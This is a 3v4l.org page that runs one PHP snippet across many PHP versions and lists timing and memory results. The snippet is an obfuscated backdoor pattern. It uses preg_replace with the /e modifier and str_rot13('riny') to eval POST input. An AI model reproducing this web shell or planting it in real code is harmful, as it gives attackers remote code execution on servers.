3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_POST['dak'] = "http://google.com"; if(isset($_POST['dak'])){ echo ($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add'); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0200.00016.71
8.3.50.0070.01118.14
8.3.40.0070.00718.89
8.3.30.0080.01118.83
8.3.20.0080.00020.34
8.3.10.0080.00020.70
8.3.00.0040.00423.66
8.2.180.0140.00716.63
8.2.170.0090.00622.96
8.2.160.0120.00322.05
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0000.00820.80
8.2.120.0080.00026.35
8.2.110.0070.01120.27
8.2.100.0030.00917.80
8.2.90.0030.00619.22
8.2.80.0080.00017.97
8.2.70.0040.00417.50
8.2.60.0000.00818.16
8.2.50.0070.00318.09
8.2.40.0050.00322.24
8.2.30.0040.00419.41
8.2.20.0060.00317.84
8.2.10.0000.00718.22
8.2.00.0000.00717.98
8.1.280.0090.00625.92
8.1.270.0130.00322.23
8.1.260.0080.00028.09
8.1.250.0060.00328.09
8.1.240.0090.00022.19
8.1.230.0050.00517.82
8.1.220.0000.00917.74
8.1.210.0100.00018.77
8.1.200.0060.00317.35
8.1.190.0040.00417.22
8.1.180.0030.00518.10
8.1.170.0000.00918.46
8.1.160.0000.00720.75
8.1.150.0000.00718.93
8.1.140.0000.00819.45
8.1.130.0000.00717.60
8.1.120.0040.00417.46
8.1.110.0000.00817.46
8.1.100.0040.00417.49
8.1.90.0040.00417.46
8.1.80.0030.00517.50
8.1.70.0030.00317.37
8.1.60.0020.00517.42
8.1.50.0080.00017.51
8.1.40.0000.01117.40
8.1.30.0040.00417.62
8.1.20.0050.00317.40
8.1.10.0070.00017.59
8.1.00.0000.00717.47
8.0.300.0070.00018.77
8.0.290.0000.00716.75
8.0.280.0080.00018.45
8.0.270.0000.00717.30
8.0.260.0000.00617.21
8.0.250.0030.00316.88
8.0.240.0000.00617.04
8.0.230.0000.00716.96
8.0.220.0080.00016.91
8.0.210.0040.00416.86
8.0.200.0000.00816.89
8.0.190.0060.00616.76
8.0.180.0000.00816.94
8.0.170.0080.00016.95
8.0.160.0000.00716.91
8.0.150.0050.00316.78
8.0.140.0070.00016.96
8.0.130.0000.00613.39
8.0.120.0080.00016.90
8.0.110.0070.00016.87
8.0.100.0050.00216.73
8.0.90.0000.00716.77
8.0.80.0130.01016.93
8.0.70.0050.00316.73
8.0.60.0080.00016.81
8.0.50.0030.00516.98
8.0.30.0080.01017.11
8.0.20.0130.00617.40
8.0.10.0000.00716.92
8.0.00.0090.01116.79
7.4.330.0000.00516.83
7.4.320.0030.00316.41
7.4.300.0030.00316.52
7.4.290.0070.00016.55
7.4.280.0040.00416.50
7.4.270.0000.00816.50
7.4.260.0000.00716.47
7.4.250.0000.00816.55
7.4.240.0000.00716.59
7.4.230.0070.00016.29
7.4.220.0150.00616.65
7.4.210.0050.00916.65
7.4.200.0080.00016.39
7.4.160.0060.00916.55
7.4.150.0090.00917.40
7.4.140.0150.00317.86
7.4.130.0080.00816.55
7.4.120.0150.00216.54
7.4.110.0070.01116.32
7.4.100.0140.00716.54
7.4.90.0070.01316.50
7.4.80.0130.00819.39
7.4.70.0130.00316.47
7.4.60.0100.01016.72
7.4.50.0030.01316.52
7.4.40.0050.01116.52
7.4.30.0110.00516.45
7.4.10.0100.01014.83
7.4.00.0120.00514.86
7.3.330.0030.00313.22
7.3.320.0000.00513.22
7.3.310.0000.00716.52
7.3.300.0050.00216.28
7.3.290.0030.00316.41
7.3.280.0080.01016.38
7.3.270.0150.00317.40
7.3.260.0150.00916.29
7.3.250.0120.00516.41
7.3.240.0100.00616.47
7.3.230.0140.00416.49
7.3.210.0090.00916.50
7.3.200.0030.01316.33
7.3.190.0140.00316.29
7.3.180.0140.00316.17
7.3.170.0040.01116.53
7.3.160.0090.00616.42
7.3.130.0000.01814.57
7.3.120.0060.01014.77
7.3.110.0030.01414.84
7.3.100.0030.01114.64
7.3.90.0080.00814.44
7.3.80.0080.00514.48
7.3.70.0090.00614.57
7.3.60.0040.00614.64
7.3.50.0050.00714.78
7.3.40.0030.00914.51
7.3.30.0080.00314.46
7.3.20.0040.01016.50
7.3.10.0110.00716.38
7.3.00.0090.00516.38
7.2.330.0030.01816.80
7.2.320.0080.00816.89
7.2.310.0100.00716.64
7.2.300.0090.00916.92
7.2.290.0060.01316.65
7.2.260.0040.01115.00
7.2.250.0100.01014.88
7.2.240.0080.00915.24
7.2.230.0080.00814.91
7.2.220.0100.00515.06
7.2.210.0050.01115.17
7.2.200.0030.00815.33
7.2.190.0000.01515.17
7.2.180.0040.01015.00
7.2.170.0050.00814.91
7.2.160.0050.00915.06
7.2.150.0100.00516.79
7.2.140.0050.00717.10
7.2.130.0110.00616.81
7.2.120.0050.00916.96
7.2.110.0050.00816.86
7.2.100.0080.00717.08
7.2.90.0050.01116.95
7.2.80.0080.00517.13
7.2.70.0100.00717.03
7.2.60.0070.00716.98
7.2.50.0070.00516.79
7.2.40.0090.00617.00
7.2.30.0100.00316.93
7.2.20.0110.00617.12
7.2.10.0100.00417.22
7.2.00.0090.00717.85
7.1.330.0060.00815.94
7.1.320.0060.00815.80
7.1.310.0030.00815.75
7.1.300.0050.00415.76
7.1.290.0050.01015.74
7.1.280.0050.00715.56
7.1.270.0040.00715.82
7.1.260.0020.01215.80
7.1.250.0030.00915.72
7.1.240.0040.01115.57
7.1.230.0090.00615.97
7.1.220.0060.00615.64
7.1.210.0120.00315.61
7.1.200.0030.01015.81
7.1.190.0110.00415.65
7.1.180.0060.01215.46
7.1.170.0030.01315.79
7.1.160.0070.00715.54
7.1.150.0060.00615.65
7.1.140.0040.00715.80
7.1.130.0100.00315.75
7.1.120.0000.00815.73
7.1.110.0000.01315.59
7.1.100.0010.01516.92
7.1.90.0030.01115.58
7.1.80.0080.00316.03
7.1.70.0070.00516.45
7.1.60.0130.00517.57
7.1.50.0070.00816.61
7.1.40.0090.00315.62
7.1.30.0040.00415.92
7.1.20.0030.01315.99
7.1.10.0060.00815.86
7.1.00.0050.04219.18
7.0.330.0080.00815.10
7.0.320.0080.00815.62
7.0.310.0130.00415.54
7.0.300.0050.01115.24
7.0.290.0080.01115.23
7.0.280.0140.00515.03
7.0.270.0040.00815.41
7.0.260.0030.00615.18
7.0.250.0060.00915.52
7.0.240.0040.00815.59
7.0.230.0060.00915.30
7.0.220.0000.01315.47
7.0.210.0060.00615.59
7.0.200.0260.00514.99
7.0.190.0030.00715.46
7.0.180.0000.01615.00
7.0.170.0000.01515.60
7.0.160.0030.00615.43
7.0.150.0000.01015.23
7.0.140.0100.00315.25
7.0.130.0000.01115.36
7.0.120.0030.00715.59
7.0.110.0120.00315.25
7.0.100.0090.00615.54
7.0.90.0100.00715.40
7.0.80.0030.00715.40
7.0.70.0100.00615.23
7.0.60.0200.04217.90
7.0.50.0020.02416.72
7.0.40.0120.03216.70
7.0.30.0190.03416.72
7.0.20.0120.04316.81
7.0.10.0070.04416.83
7.0.00.0050.04516.84
5.6.400.0070.01114.70
5.6.390.0000.01714.38
5.6.380.0110.00814.64
5.6.370.0080.01314.68
5.6.360.0060.01314.26
5.6.350.0090.00914.46
5.6.340.0050.01014.30
5.6.330.0070.01114.41
5.6.320.0060.00914.22
5.6.310.0070.00714.53
5.6.300.0060.00614.18
5.6.290.0070.00714.38
5.6.280.0040.03817.86
5.6.270.0030.00614.57
5.6.260.0060.00614.29
5.6.250.0000.01814.56
5.6.240.0000.01414.55
5.6.230.0080.00414.39
5.6.220.0060.01114.16
5.6.210.0070.04217.70
5.6.200.0050.04916.41
5.6.190.0050.04217.60
5.6.180.0050.04517.49
5.6.170.0220.02817.54
5.6.160.0070.02717.46
5.6.150.0050.04416.16
5.6.140.0080.04216.11
5.6.130.0080.02616.32
5.6.120.0030.03417.88
5.6.110.0140.03617.64
5.6.100.0050.04517.61
5.6.90.0080.04417.76
5.6.80.0050.04217.29
5.6.70.0100.00014.16
5.6.60.0080.00514.13
5.6.50.0040.01114.13
5.6.40.0070.01014.52
5.6.30.0000.00914.36
5.6.20.0000.01314.50
5.6.10.0110.00014.55
5.6.00.0070.00414.42
5.5.380.0050.00314.64
5.5.370.0090.00614.47
5.5.360.0000.01714.53
5.5.350.0120.02517.42
5.5.340.0030.02616.27
5.5.330.0050.03317.36
5.5.320.0330.04417.31
5.5.310.0150.04317.22
5.5.300.0000.04716.32
5.5.290.0060.02216.32
5.5.280.0050.04617.60
5.5.270.0050.04217.56
5.5.260.0090.04217.63
5.5.250.0030.04517.61
5.5.240.0200.02317.20
5.5.230.0030.01014.50
5.5.220.0030.00914.21
5.5.210.0040.00814.15
5.5.200.0060.00814.16
5.5.190.0070.00714.22
5.5.180.0030.00514.44
5.5.170.0030.01014.49
5.5.160.0030.01214.19
5.5.150.0070.00414.49
5.5.140.0080.00614.69
5.5.130.0000.01714.48
5.5.120.0070.00714.27
5.5.110.0000.01114.32
5.5.100.0030.00714.13
5.5.90.0100.00314.08
5.5.80.0030.01214.15
5.5.70.0000.01314.37
5.5.60.0000.01714.27
5.5.50.0060.01014.58
5.5.40.0060.00614.29
5.5.30.0090.00314.51
5.5.20.0070.00714.61
5.5.10.0100.00314.27
5.5.00.0060.00614.33

preferences:
65.62 ms | 400 KiB | 5 Q